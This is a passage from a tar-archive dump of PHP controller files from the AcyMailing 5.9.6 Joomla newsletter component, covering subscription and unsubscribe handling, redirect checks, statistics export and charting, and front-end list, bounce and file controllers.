			$visiblelist = explode(',',$visiblelistsstring);
			acymailing_arrayToInteger($visiblelist);

			foreach($visiblelist as $idList){
				if(!in_array($idList,$visibleSubscription) AND !empty($currentSubscription[$idList]) AND $currentSubscription[$idList]->status != '-1'){
					$updatelists['-1'][] = $idList;
				}
			}
		}

		$listsubClass = acymailing_get('class.listsub');
		$status = true;
		$updateMessage = false;
		$insertMessage = false;
		if($allowSubscriptionModifications){
			if(!empty($updatelists)){
				$status = $listsubClass->updateSubscription($myuser->subid,$updatelists) && $status;
				$updateMessage = true;
			}
			if(!empty($addlists)){
				$status = $listsubClass->addSubscription($myuser->subid,$addlists) && $status;
				$insertMessage = true;
			}
		}else{
			$mailClass = acymailing_get('helper.mailer');
			$mailClass->checkConfirmField = false;
			$mailClass->checkEnabled = false;
			$mailClass->report = false;
			$modifySubscriptionSuccess = $mailClass->sendOne('modif',$myuser->subid);
			$modifySubscriptionError = $mailClass->reportMessage;
		}

		$userClass->sendNotification();

		if($config->get('subscription_message',1) || $ajax){
			if($allowSubscriptionModifications){
				if($statusAdd == 2){
					if($userClass->confirmationSentSuccess){
						$msg = 'CONFIRMATION_SENT';
						$code = 2;
						$msgtype = 'success';
					}else{
						$msg = $userClass->confirmationSentError;
						$code = 7;
						$msgtype = 'error';
					}
				}else{
					if($insertMessage){
						$msg = 'SUBSCRIPTION_OK';
						$code = 3;
						$msgtype = 'success';
					}elseif($updateMessage){

						$msg = 'SUBSCRIPTION_UPDATED_OK';
						$code = 4;
						$msgtype = 'success';
					}else{
						$msg = 'ALREADY_SUBSCRIBED';
						$code = 5;
						$msgtype = 'success';
					}
				}
			}else{
				if($modifySubscriptionSuccess){
					$msg = 'IDENTIFICATION_SENT';
					$code = 6;
					$msgtype = 'warning';
				}else{
					$msg = $modifySubscriptionError;
					$code = 8;
					$msgtype = 'error';
				}
			}

			if($msg == strtoupper($msg)){
				$source = acymailing_getVar('cmd', 'acy_source');
				if(strpos($source, 'module_') !== false){
					$moduleId = '_'.strtoupper($source);
					if(acymailing_translation($msg.$moduleId) != $msg.$moduleId) $msg = $msg.$moduleId;
				}
				$msg = acymailing_translation($msg);
			}

			$replace = array();
			$replace['{list:name}'] = '';
			foreach($myuser as $oneProp => $oneVal){
				$replace['{user:'.$oneProp.'}'] = $oneVal;
			}
			$msg = str_replace(array_keys($replace),$replace,$msg);

			if($config->get('redirect_tags', 0) == 1) $redirectUrl = str_replace(array_keys($replace),$replace,$redirectUrl);

			if($ajax){
				$msg = str_replace(array("\n","\r",'"','\\'),array(' ',' ',"'",'\\\\'),$msg);
				echo '{"message":"'.$msg.'","type":"'.($msgtype == 'warning' ? 'success' : $msgtype).'","code":"'.$code.'"}';
			}elseif(empty($redirectUrl)){
				acymailing_enqueueMessage($msg,$msgtype == 'success' ? 'info' : $msgtype);
			}else{
				if(strlen($msg)>0){
					if($msgtype == 'success') acymailing_enqueueMessage($msg);
					elseif($msgtype == 'warning') acymailing_enqueueMessage($msg,'notice');
					else acymailing_enqueueMessage($msg,'error');
				}
			}
		}

		$notifContact = $config->get('notification_contact');
		if(!empty($notifContact)){
			$mailer = acymailing_get('helper.mailer');
			$mailer->autoAddUser = true;
			$mailer->checkConfirmField = false;
			$mailer->report = false;
			foreach($user as $field => $value) $mailer->addParam('user:'.$field,$value);
			$mailer->addParam('user:subscription',$listsubClass->getSubscriptionString($user->subid));
			$mailer->addParam('user:subscriptiondates',$listsubClass->getSubscriptionString($user->subid, true));
			$mailer->addParam('user:ip',$userHelper->getIP());
			if(!empty($userClass->geolocData)){
				foreach($userClass->geolocData as $map=>$value){
					$mailer->addParam('geoloc:notif_'.$map,$value);
				}
			}
			$mailer->addParamInfo();
			$allUsers = explode(' ',trim(str_replace(array(';',','),' ',$notifContact)));
			foreach($allUsers as $oneUser){
				if(empty($oneUser)) continue;
				$mailer->sendOne('notification_contact',$oneUser);
			}
		}

		if ($ajax) exit;

		$this->_closepop($redirectUrl);

		if(!empty($redirectUrl)) acymailing_redirect($redirectUrl);
		if('joomla' == 'wordpress') acymailing_redirect(acymailing_rootURI());
		return true;
	}

	private function _closepop($redirectUrl){
		$this->_checkRedirectUrl($redirectUrl);
		if(empty($redirectUrl)) return;
		if(!acymailing_getVar('int', 'closepop')) acymailing_redirect($redirectUrl);

		echo '<script type="text/javascript" language="javascript">
					window.parent.document.location.href=\''.str_replace('&amp;','&',$redirectUrl).'\';
				</script>';

		$app = JFactory::getApplication();
		$messages = $app->getMessageQueue();
		if(!empty($messages)){
			$session = JFactory::getSession();
			$session->set('application.queue', $messages);
		}

		exit;
	}

	function optout(){
		acymailing_checkRobots();
		$config = acymailing_config();
		$userClass = acymailing_get('class.subscriber');
		$userClass->geolocRight = true;

		$ajax = acymailing_getVar('int', 'ajax', 0);
		if($ajax){
			@ob_end_clean();
			header("Content-type:text/html; charset=utf-8");
		}


		$redirectUrl = urldecode(acymailing_getVar('string', 'redirectunsub'));

		$formData = acymailing_getVar('array',  'user', array(), '');

		$email = trim(strip_tags(@$formData['email']));

		$currentEmail = acymailing_currentUserEmail();
		if(empty($email) && !empty($currentEmail)){
			$email = $currentEmail;
		}

		$userHelper = acymailing_get('helper.user');
		if(empty($email) || !$userHelper->validEmail($email)){
			if ($ajax) echo '{"message":"'.str_replace('"','\"',acymailing_translation('VALID_EMAIL')).'","type":"error","code":"7"}';
			else echo "<script>alert('".acymailing_translation('VALID_EMAIL',true)."'); window.history.go(-1);</script>";
			exit;
		}

		$alreadyExists = $userClass->get($email);

		if(empty($alreadyExists->subid)){
			if ($ajax){
				echo '{"message":"'.str_replace('"','\"',acymailing_translation_sprintf('NOT_IN_LIST','<b><i>'.$email.'</i></b>')).'","type":"error","code":"8"}';
				exit;
			}
			if(empty($redirectUrl)) acymailing_enqueueMessage(acymailing_translation_sprintf('NOT_IN_LIST','<b><i>'.$email.'</i></b>'),'warning');
			else acymailing_enqueueMessage(acymailing_translation_sprintf('NOT_IN_LIST','<b><i>'.$email.'</i></b>'),'notice');
			return $this->_closepop($redirectUrl);
		}

		$currentEmail = acymailing_currentUserEmail();
		if($config->get('allow_modif','data') == 'none' AND (empty($currentEmail) || $currentEmail != $email)){
			$mailClass = acymailing_get('helper.mailer');
			$mailClass->checkConfirmField = false;
			$mailClass->checkEnabled = false;
			$mailClass->report = false;
			$mailClass->sendOne('modif',$alreadyExists->subid);
			if ($ajax){
				echo '{"message":"'.str_replace('"','\"',acymailing_translation('IDENTIFICATION_SENT')).'","type":"success","code":"9"}';
				exit;
			}
			if(empty($redirectUrl)) acymailing_enqueueMessage(acymailing_translation( 'IDENTIFICATION_SENT' ),'warning');
			else acymailing_enqueueMessage(acymailing_translation( 'IDENTIFICATION_SENT' ), 'notice');
			return $this->_closepop($redirectUrl);
		}

		$visibleSubscription = acymailing_getVar('array', 'subscription', '', '');
		$currentSubscription = $userClass->getSubscriptionStatus($alreadyExists->subid);
		$hiddenSubscription = explode(',',acymailing_getVar('string', 'hiddenlists', '', ''));

		$updatelists = array();
		$removeSubscription = array_merge($visibleSubscription,$hiddenSubscription);
		foreach($removeSubscription as $idList){
			if(!empty($currentSubscription[$idList]) AND $currentSubscription[$idList]->status != '-1'){
				$updatelists[-1][] = $idList;
			}
		}

		if(!empty($updatelists)){
			$listsubClass = acymailing_get('class.listsub');
			$listsubClass->updateSubscription($alreadyExists->subid,$updatelists);
			if($config->get('unsubscription_message',1)){
				if ($ajax){
					echo '{"message":"'.str_replace('"','\"',acymailing_translation('UNSUBSCRIPTION_OK')).'","type":"success","code":"10"}';
					exit;
				}
				if(empty($redirectUrl)) acymailing_enqueueMessage(acymailing_translation('UNSUBSCRIPTION_OK'),'info');
				else{
					if(strlen(acymailing_translation('UNSUBSCRIPTION_OK'))>0){
						acymailing_enqueueMessage(acymailing_translation('UNSUBSCRIPTION_OK'));
					}
				}
			}
		}elseif($config->get('unsubscription_message',1) || $ajax){
			if ($ajax){
				echo '{"message":"'.str_replace('"','\"',acymailing_translation('UNSUBSCRIPTION_NOT_IN_LIST')).'","type":"success","code":"11"}';
				exit;
			}
			if(empty($redirectUrl)) acymailing_enqueueMessage(acymailing_translation('UNSUBSCRIPTION_NOT_IN_LIST'),'info');
			else acymailing_enqueueMessage(acymailing_translation('UNSUBSCRIPTION_NOT_IN_LIST'));
		}

		if ($ajax) exit;

		return $this->_closepop($redirectUrl);

	}

	function _checkRedirectUrl($redirectUrl){
		$config = acymailing_config();
		$regex = trim(preg_replace('#[^a-z0-9\|\.]#i','',$config->get('module_redirect')),'|');
		if(empty($regex) || $regex == 'all' || empty($redirectUrl) || 'joomla' != 'joomla') return;

		preg_match('#^(https?://)?(www.)?([^/]*)#i',$redirectUrl,$resultsurl);
		$domainredirect = preg_replace('#[^a-z0-9\.]#i','',@$resultsurl[3]);
		if(preg_match('#^'.$regex.'$#i',$domainredirect)) return;

		$regex .= '|'.$domainredirect;
		echo "<script>alert('This redirect url is not allowed, you should change the \"".acymailing_translation('REDIRECTION_MODULE',true)."\" parameter from the AcyMailing configuration page to \"".$regex."\" to allow it or set it to \"all\" to allow all urls'); window.history.go(-1);</script>";
		exit;
	}

	function listing(){
		$errorMsg = "You shouldn't see this page. If you come from an external subscription form, maybe the URL in the form action is not valid.";
		if(!empty($_SERVER['HTTP_HOST'])) $errorMsg .= "<br />Host: ".htmlspecialchars($_SERVER['HTTP_HOST'],ENT_COMPAT, 'UTF-8');
		if(!empty($_SERVER['REQUEST_URI'])) $errorMsg .= "<br />URI: ".htmlspecialchars($_SERVER['REQUEST_URI'],ENT_COMPAT, 'UTF-8');
		if(!empty($_SERVER['HTTP_REFERER'])) $errorMsg .= "<br />Referer: ".htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_COMPAT, 'UTF-8');
		acymailing_display($errorMsg, 'error');
	}
}
com_acymailing/controllers/statistics.php000060400000002541152453734450015002 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
acymailing_cmsLoaded();

class StatisticsController extends acymailingController{

    function listing(){
        acymailing_setVar('tmpl','component');

        $statsClass = acymailing_get('class.stats');
        $statsClass->saveStats();

        header( 'Cache-Control: no-store, no-cache, must-revalidate' );
        header( 'Cache-Control: post-check=0, pre-check=0', false );
        header( 'Pragma: no-cache' );
        header("Expires: Wed, 17 Sep 1975 21:32:10 GMT");

        ob_end_clean();

        acymailing_importPlugin('acymailing');
        $results = acymailing_trigger('acymailing_getstatpicture');

        $picture = reset($results);
        if(empty($picture)) $picture = 'media/com_acymailing/images/statpicture.png';

        $picture = ltrim(str_replace(array('\\','/'),DS,$picture),DS);

        $imagename = ACYMAILING_ROOT.$picture;
        $handle = fopen($imagename, 'r');
        if(!$handle) exit;

        header("Content-type: image/png");
        $contents = fread($handle, filesize($imagename));
        fclose($handle);
        echo $contents;
        exit;
    }
}
com_acymailing/controllers/frontemail.php000060400000001161152453734450014745 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$userid = acymailing_currentUserId();
if(empty($userid)) die(acymailing_translation('ASK_LOG'));

$config = acymailing_config();
if(!acymailing_isAllowed($config->get('acl_lists_manage', 'all'))) die('You are not allowed to access this page');

include(ACYMAILING_BACK.'controllers'.DS.'email.php');
class FrontemailController extends EmailController{
}
com_acymailing/controllers/frontlist.php000060400000003464152453734450014641 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$currentUserid = acymailing_currentUserId();
if(empty($currentUserid)){
	acymailing_askLog();
	return false;
}

$config = acymailing_config();
if(!acymailing_isAllowed($config->get('acl_lists_manage', 'all'))) die(acymailing_translation('ACY_NOTALLOWED'));

include(ACYMAILING_BACK.'controllers'.DS.'list.php');
class FrontlistController extends ListController{
	function __construct($config = array()){
		parent::__construct($config);

		$listClass = acymailing_get('class.list');
		$lists = $listClass->getFrontendLists('listid');

		$listid = acymailing_getVar('int', 'listid', 0);

		if(empty($lists) || (!empty($listid) && !in_array($listid, array_keys($lists)))) {
			acymailing_redirect('index.php', acymailing_translation('ACY_NOTALLOWED'), 'error');
			return false;
		}
	}

	function remove(){
		$cids = acymailing_getVar('array', 'cid', array(), '');
		acymailing_arrayToInteger($cids);

		if(empty($cids)) acymailing_redirect('index.php?option=com_acymailing&ctrl=frontlist');

		$lists = acymailing_loadObjectList('SELECT * FROM `#__acymailing_list` WHERE listid IN ('.implode(',', $cids).')');
		foreach($lists as $list){
			if(acymailing_currentUserId() != $list->userid){
				acymailing_enqueueMessage(acymailing_translation_sprintf('ACY_NO_ACCESS_LIST', $list->listid), 'error');
				array_splice($cids, array_search($list->listid, $cids), 1);
			}
		}

		acymailing_setVar('cid', $cids);
		return parent::remove();
	}

	function form(){
		return $this->edit();
	}

	function edit(){
		acymailing_setVar('layout', 'form');
		return parent::display();
	}
}
com_acymailing/controllers/stats.php000060400000030413152453734450013745 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class StatsController extends acymailingController{

	var $aclCat = 'statistics';

	function detaillisting(){
		if(!$this->isAllowed('statistics','manage')) return;
		acymailing_setVar( 'layout', 'detaillisting'  );
		return parent::display();
	}

	function unsubscribed(){
		if(!$this->isAllowed('statistics','manage')) return;
		acymailing_setVar( 'layout', 'unsubscribed'  );
		return parent::display();
	}

	function forward(){
		if(!$this->isAllowed('statistics','manage')) return;
		acymailing_setVar( 'layout', 'forward'  );
		return parent::display();
	}

	function unsubchart(){
		if(!$this->isAllowed('statistics','manage')) return;
		acymailing_setVar( 'layout', 'unsubchart'  );
		return parent::display();
	}

	function mailinglist(){
		if(!$this->isAllowed('statistics','manage')) return;
		acymailing_setVar( 'layout', 'mailinglist'  );
		return parent::display();
	}

	function remove(){
		if(!$this->isAllowed('statistics','delete')) return;
		acymailing_checkToken();

		$cids = acymailing_getVar('array',  'cid', array(), '');

		$class = acymailing_get('class.stats');
		$num = $class->delete($cids);

		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS',$num), 'message');

		return $this->listing();
	}

	function export(){
		$selectedMail = acymailing_getVar('int', 'filter_mail', 0);
		$selectedStatus = acymailing_getVar('string', 'filter_status', '');
		$selectedBounce = acymailing_getVar('string', 'filter_bounce', '');

		$filters = array();
		if(!empty($selectedMail)) $filters[] = 'userstats.mailid = '.$selectedMail;
		if(!empty($selectedStatus)){
			if($selectedStatus == 'bounce') $filters[] = 'userstats.bounce > 0';
			elseif($selectedStatus == 'open') $filters[] = 'userstats.open > 0';
			elseif($selectedStatus == 'notopen') $filters[] = 'userstats.open < 1';
			elseif($selectedStatus == 'failed') $filters[] = 'userstats.fail > 0';
		}
		if(!empty($selectedStatus) && $selectedStatus == 'bounce' && !empty($selectedBounce)) $filters[] = "userstats.bouncerule = ".acymailing_escapeDB($selectedBounce);

		$query = 'FROM `#__acymailing_userstats` as userstats JOIN `#__acymailing_subscriber` as s ON s.subid = userstats.subid';
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (',$filters).')';

		acymailing_session();
		$_SESSION['acymailing']['acyexportquery'] = $query;

		acymailing_redirect(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'data&task=export&sessionquery=1', acymailing_isNoTemplate(),true));
	}

	public function exportUnsubscribed(){
		return $this->exportData('unsubscribed');
	}


	public function exportForward(){
		return $this->exportData('forward');
	}

	private function exportData($action){
		$selectedMail = acymailing_getVar('int', 'filter_mail', 0);
		$filters = array();
		$filters[] = "hist.action = ".acymailing_escapeDB($action);
		if(!empty($selectedMail)) $filters[] = 'hist.mailid = '.intval($selectedMail);

		$query = 'FROM #__acymailing_history as hist JOIN #__acymailing_mail as b on hist.mailid = b.mailid JOIN #__acymailing_subscriber as s on hist.subid = s.subid';
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (',$filters).')';

		acymailing_session();
		$_SESSION['acymailing']['acyexportquery'] = $query;
		
		acymailing_redirect(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'data&task=export&sessionquery=1',true,true));
	}

	function exportglobal(){
		$extraJoin = '';
		$nlCondition = array();
		$cids = acymailing_getVar('none', 'cid');
		acymailing_arrayToInteger($cids);
		if(!empty($cids)){
			$nlCondition[] = 'a.mailid IN (' . implode(', ', $cids) . ')';
		}elseif (!acymailing_isAdmin()) {
			$listClass = acymailing_get('class.list');
			$lists = $listClass->getFrontendLists('listid');

			$frontListsIds = array_keys($lists);
			$extraJoin = " JOIN #__acymailing_listmail AS lm ON a.mailid = lm.mailid";
			$filters[] = 'lm.listid IN (' . implode(',', $frontListsIds) . ')';
		}

		$query = 'SELECT b.subject, a.senddate, a.* , a.bouncedetails 
					FROM #__acymailing_stats AS a 
					JOIN #__acymailing_mail AS b ON a.mailid = b.mailid '.$extraJoin;
		if(!empty($nlCondition)) $query .= ' WHERE '.implode(' AND ', $nlCondition);
		$query .= ' ORDER BY a.senddate DESC';
		
		$mydata = acymailing_loadObjectList($query);

		$exportHelper = acymailing_get('helper.export');
		$config = acymailing_config();
		$encodingClass = acymailing_get('helper.encoding');
		$exportHelper->addHeaders('globalStatistics_' . date('m_d_y'));

		$eol= "\r\n";
		$before = '"';
		$separator = '"'.str_replace(array('semicolon','comma'),array(';',','), $config->get('export_separator',';')).'"';
		$exportFormat = $config->get('export_format','UTF-8');
		$after = '"';

		$forwardEnabled = $config->get('forward', 0);
		$titles = array(acymailing_translation( 'JOOMEXT_SUBJECT'), acymailing_translation( 'SEND_DATE' ), acymailing_translation( 'OPEN_UNIQUE' ), acymailing_translation('OPEN_TOTAL'), acymailing_translation('OPEN').' (%)');
		if(acymailing_level(1)) array_push($titles, acymailing_translation('UNIQUE_HITS'), acymailing_translation('TOTAL_HITS'), acymailing_translation( 'CLICKED_LINK' ).' (%)');
		array_push($titles, acymailing_translation( 'UNSUBSCRIBE' ), acymailing_translation( 'UNSUBSCRIBE' ).' (%)');
		if(acymailing_level(1) && $forwardEnabled == 1) array_push($titles, acymailing_translation( 'FORWARDED' ));
		array_push($titles, acymailing_translation( 'SENT_HTML' ), acymailing_translation( 'SENT_TEXT' ));
		if(acymailing_level(3))  array_push($titles,acymailing_translation( 'BOUNCES' ), acymailing_translation( 'BOUNCES' ).' (%)');
		array_push($titles, acymailing_translation( 'FAILED' ), acymailing_translation( 'ACY_ID' ));

		$titleLine = $before.implode($separator, $titles).$after.$eol;
		echo $titleLine;

		foreach($mydata as $nl){
			$line = $nl->subject . $separator;
			$line.= acymailing_getDate($nl->senddate) . $separator;
			$line.= $nl->openunique . $separator;
			$line.= $nl->opentotal . $separator;
			$cleanSent = $nl->senthtml + $nl->senttext;
			if(acymailing_level(3)) $cleanSent = $cleanSent - $nl->bounceunique;
			$prct = (!empty($cleanSent)? round($nl->openunique/$cleanSent*100,2):'-');
			$line.= $prct . '%' . $separator;
			if(acymailing_level(1)){
				$line.= $nl->clickunique . $separator;
				$line.= $nl->clicktotal . $separator;
				$prct = (!empty($cleanSent)? round($nl->clickunique/$cleanSent*100,2):'-');
				$line.= $prct . '%' . $separator;
			}
			$line.= $nl->unsub . $separator;
			$prct = (!empty($cleanSent)? round($nl->unsub/$cleanSent*100,2):'-');
			$line.= $prct . '%' . $separator;
			if(acymailing_level(1) && $forwardEnabled == 1){
				$line.= $nl->forward . $separator;
			}
			$line.= $nl->senthtml . $separator;
			$line.= $nl->senttext . $separator;
			if(acymailing_level(3)){
				$line.= $nl->bounceunique . $separator;
				$prct = (!empty($nl->senthtml)? round($nl->bounceunique/($nl->senthtml+$nl->senttext)*100,2):'-');
				$line.= $prct . '%' . $separator;
			}
			$line.= $nl->fail . $separator;
			$line.= $nl->mailid;

			$line = $before.$encodingClass->change($line, 'UTF-8', $exportFormat).$after.$eol;
			echo $line;
		}
		exit;
	}

	function compare(){
		if(!$this->isAllowed('statistics','manage')) return;

		$ids = acymailing_getVar('array', 'cid', array(), '');
		acymailing_arrayToInteger($ids);

		if(empty($_SESSION['acycomparison'])){
			$_SESSION['acycomparison'] = $ids;
		}else{
			$_SESSION['acycomparison'] = array_unique(array_merge($_SESSION['acycomparison'], $ids));
		}

		if(count($_SESSION['acycomparison']) > 5){
			acymailing_enqueueMessage(acymailing_translation('ACY_MAX_COMPARE'), 'warning');
			$_SESSION['acycomparison'] = array_slice($_SESSION['acycomparison'], 0, 5);
		}elseif(count($_SESSION['acycomparison']) < 2){
			acymailing_enqueueMessage(acymailing_translation('ACY_MIN_COMPARE'), 'info');
			acymailing_setVar( 'layout', 'listing'  );
			return parent::display();
		}

		acymailing_setVar( 'layout', 'compare'  );
		return parent::display();
	}

	function addcompare(){
		if(!$this->isAllowed('statistics','manage')) return;

		$ids = acymailing_getVar('array', 'cid', array(), '');
		acymailing_arrayToInteger($ids);

		if(empty($_SESSION['acycomparison'])){
			$_SESSION['acycomparison'] = $ids;
		}else{
			$_SESSION['acycomparison'] = array_unique(array_merge($_SESSION['acycomparison'], $ids));
		}

		if(count($_SESSION['acycomparison']) > 5){
			acymailing_enqueueMessage(acymailing_translation('ACY_MAX_COMPARE'), 'warning');
			$_SESSION['acycomparison'] = array_slice($_SESSION['acycomparison'], 0, 5);
		}elseif(count($_SESSION['acycomparison']) < 2){
			acymailing_enqueueMessage(acymailing_translation('ACY_MIN_COMPARE'), 'info');
		}

		acymailing_setVar( 'layout', 'listing'  );
		return parent::display();
	}

	function resetcompare(){
		if(!$this->isAllowed('statistics','manage')) return;

		$_SESSION['acycomparison'] = array();

		acymailing_setVar( 'layout', 'listing'  );
		return parent::display();
	}

	function opendays(){
		$tags = acymailing_getVar('string', 'tags', '');
		if(empty($tags)){
			$intoQuery = 'SELECT opendate FROM ' . acymailing_table('userstats') . ' WHERE opendate > 0 LIMIT 5000';
			$statsDays = acymailing_loadObjectList('SELECT COUNT(*) AS nb, FROM_UNIXTIME(opendate,\'%w\') AS day FROM ('.$intoQuery.') AS a GROUP BY day', 'day');
		}else{
			$tags = explode(',', $tags);
			acymailing_arrayToInteger($tags);

			$tagsData = acymailing_loadObjectList('SELECT * FROM ' . acymailing_table('tagmail') . ' WHERE tagid IN ('.implode(',', $tags).')');

			$mails = array();
			foreach($tagsData as $oneData){
				$mails[$oneData->mailid][] = $oneData->tagid;
			}

			foreach($mails as $i => $oneMail){
				foreach($tags as $oneTag) {
					if(!in_array($oneTag, $oneMail)){
						unset($mails[$i]);
						break;
					}
				}
			}

			$eligibleMails = array_keys($mails);
			if(empty($eligibleMails)){
				$statsDays = array();
			}else {
				$intoQuery = 'SELECT opendate 
						  FROM ' . acymailing_table('userstats') . '
						  WHERE opendate > 0 AND mailid IN (' . implode(',', $eligibleMails) . ') 
						  LIMIT 5000';

				$statsDays = acymailing_loadObjectList('SELECT COUNT(*) AS nb, FROM_UNIXTIME(opendate,\'%w\') AS day FROM ('.$intoQuery.') AS a GROUP BY day', 'day');
			}
		}

		$total = 0;
		foreach ($statsDays as $oneDay) {
			$total += $oneDay->nb;
		}

		if(!empty($statsDays[0])){
			$statsDays[7] = $statsDays[0];
			unset($statsDays[0]);
		}

		$days = array('ACY_MONDAY', 'ACY_TUESDAY', 'ACY_WEDNESDAY', 'ACY_THURSDAY', 'ACY_FRIDAY', 'ACY_SATURDAY', 'ACY_SUNDAY');
		foreach($days as $i => &$text){
			$text = "['".acymailing_translation($text, true)."', ".(empty($statsDays[$i+1]) ? 0 : intval($statsDays[$i+1]->nb * 100 / $total))."]";
		}
		?>
		<div id="chart"></div>
		<script language="JavaScript" type="text/javascript">
			function drawChart(){
				var dataTable = new google.visualization.DataTable();

				dataTable.addColumn('string', '');
				dataTable.addColumn('number', '');
				dataTable.addRows([<?php echo implode(',', $days); ?>]);

				var options = {
					height: 300,
					legend: 'none',
					legendTextStyle: {
						color: '#333333'
					},
					legend: {position: 'none'},
					axes: {
						x: {
							0: {side: 'top'}
						}
					},
					vAxis: {
						format: '#\'%\''
					}
				};

				var chart = new google.charts.Bar(document.getElementById('chart'));
				chart.draw(dataTable, google.charts.Bar.convertOptions(options));
			}
			drawChart();
		</script>
<?php
		exit;
	}

	function detecttimeout(){
		$config = acymailing_config();
		if($config->get('security_key') != acymailing_getVar('string', 'seckey')) die('wrong key');
		acymailing_query("REPLACE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('max_execution_time','5'), ('last_maxexec_check','".time()."')");
		@ini_set('max_execution_time',600);
		@ignore_user_abort(true);
		$i = 0;
		while($i < 480){
			sleep(8);
			$i += 10;
			acymailing_query("UPDATE `#__acymailing_config` SET `value` = '".intval($i)."' WHERE `namekey` = 'max_execution_time'");
			acymailing_query("UPDATE `#__acymailing_config` SET `value` = '".time()."' WHERE `namekey` = 'last_maxexec_check'");
			sleep(2);
		}
		exit;
	}
}
com_acymailing/controllers/frontbounces.php000060400000001646152453734450015324 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$currentUserid = acymailing_currentUserId();
if(empty($currentUserid)){
	acymailing_askLog();
	return false;
}

$config = acymailing_config();
if(!acymailing_isAllowed($config->get('acl_statistics_manage', 'all'))) die(acymailing_translation('ACY_NOTALLOWED'));

include(ACYMAILING_BACK.'controllers'.DS.'bounces.php');


class FrontbouncesController extends BouncesController{

	function __construct($config = array()){
		parent::__construct($config);
		$task = acymailing_getVar('cmd', 'task');
		if($task != 'chart') die(acymailing_translation('ACY_NOTALLOWED'));
	}

	function chart(){
		acymailing_setVar('layout', 'chart');
		return parent::display();
	}
}
com_acymailing/controllers/url.php000060400000001672152453734450013416 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class UrlController extends acymailingController{

	function __construct($config = array())
	{
		parent::__construct($config);

		acymailing_setVar('tmpl','component');
		$this->registerDefaultTask('click');

	}


	function sef(){
		$urls = acymailing_getVar('array', 'urls', array(), '');
		$result = array();

		$uri = acymailing_rootURI();
		foreach($urls as $url){
			$url = base64_decode($url);
			$link = acymailing_route($url, false);
			if(!empty($uri) && strpos($link, $uri) === 0) $link = substr($link, strlen($uri));

			$link = ltrim($link, '/');

			$mainurl = acymailing_mainURL($link);
			$result[$url] = $mainurl.$link;
		}
		echo json_encode($result);
		exit;
	}
}
com_acymailing/controllers/index.html000060400000000054152453734450014071 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/controllers/lists.php000060400000000507152453734450013746 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ListsController extends acymailingController{

}
com_acymailing/controllers/frontchooselist.php000060400000000615152453734450016035 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

include(ACYMAILING_BACK.'controllers'.DS.'chooselist.php');

class FrontchooselistController extends ChooselistController{
}
com_acymailing/controllers/frontfile.php000060400000001370152453734450014577 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$currentUserid = acymailing_currentUserId();
if(empty($currentUserid)){
	acymailing_askLog();
	return false;
}

include(ACYMAILING_BACK.'controllers'.DS.'file.php');

class FrontfileController extends FileController
{
	function __construct($config = array()){
		parent::__construct($config);

		$task = acymailing_getVar('string', 'task');
		if($task != 'select') die('Access not allowed');
	}

	function select(){
		acymailing_setVar('layout', 'select');
		return parent::display();
	}
}
com_acymailing/index.html000060400000000054152453734450011523 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontchooselist/tmpl/index.html000060400000000054152453734450017061 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontchooselist/tmpl/listing.php000060400000000534152453734450017251 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
